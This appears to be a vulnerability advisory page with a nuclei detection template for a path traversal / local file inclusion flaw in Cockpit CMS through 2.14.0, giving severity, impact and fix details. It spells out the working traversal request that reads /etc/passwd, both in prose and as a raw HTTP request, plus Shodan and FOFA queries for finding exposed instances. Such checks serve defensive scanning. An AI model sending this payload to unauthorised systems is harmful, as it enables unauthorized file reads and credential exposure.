Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion

highseverity

8.2CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.

Impact

An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.

Fix

Upgrade to Cockpit CMS version 2.14.1 or higher.

How to confirm it

Send: GET /:x/storage/../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2026-58467 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-58467

info:
  name: Cockpit CMS <= 2.14.0 - Path Traversal / Local File Inclusion
  author: Abdullah Shahid (comradezephyr)
  severity: high
  description: |
    Cockpit CMS through 2.14.0 contains a path traversal and local file inclusion (LFI) vulnerability when executed under PHP's built-in CLI server (PHP_SAPI == 'cli-server') or non-normalizing reverse proxies. The application fails to sanitize dot-dot sequences in PATH_INFO routes starting with '/:' and containing '/storage/'. Unauthenticated remote attackers can traverse outside the designated directory to read arbitrary system files.
  impact: |
    An unauthenticated attacker can read sensitive system files (e.g., /etc/passwd), leading to potential credential exposure or further system compromise.
  remediation: |
    Upgrade to Cockpit CMS version 2.14.1 or higher.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-58467
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58467
    - https://github.com/cockpit-hq/cockpit/compare/2.14.0...2.14.1
    - https://github.com/geo-chen/oss/blob/main/cockpit.md
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.2
    cve-id: CVE-2026-58467
    epss-score: 0.0173
    epss-percentile: 0.77784
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: cockpit-hq
    product: cockpit
    shodan-query: 'http.favicon.hash:"688609340"'
    fofa-query: 'icon_hash=="688609340"'
  tags: cve,cve2026,cockpit,cms,lfi,traversal

http:
  - raw:
      - |
        GET /:x/storage/../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from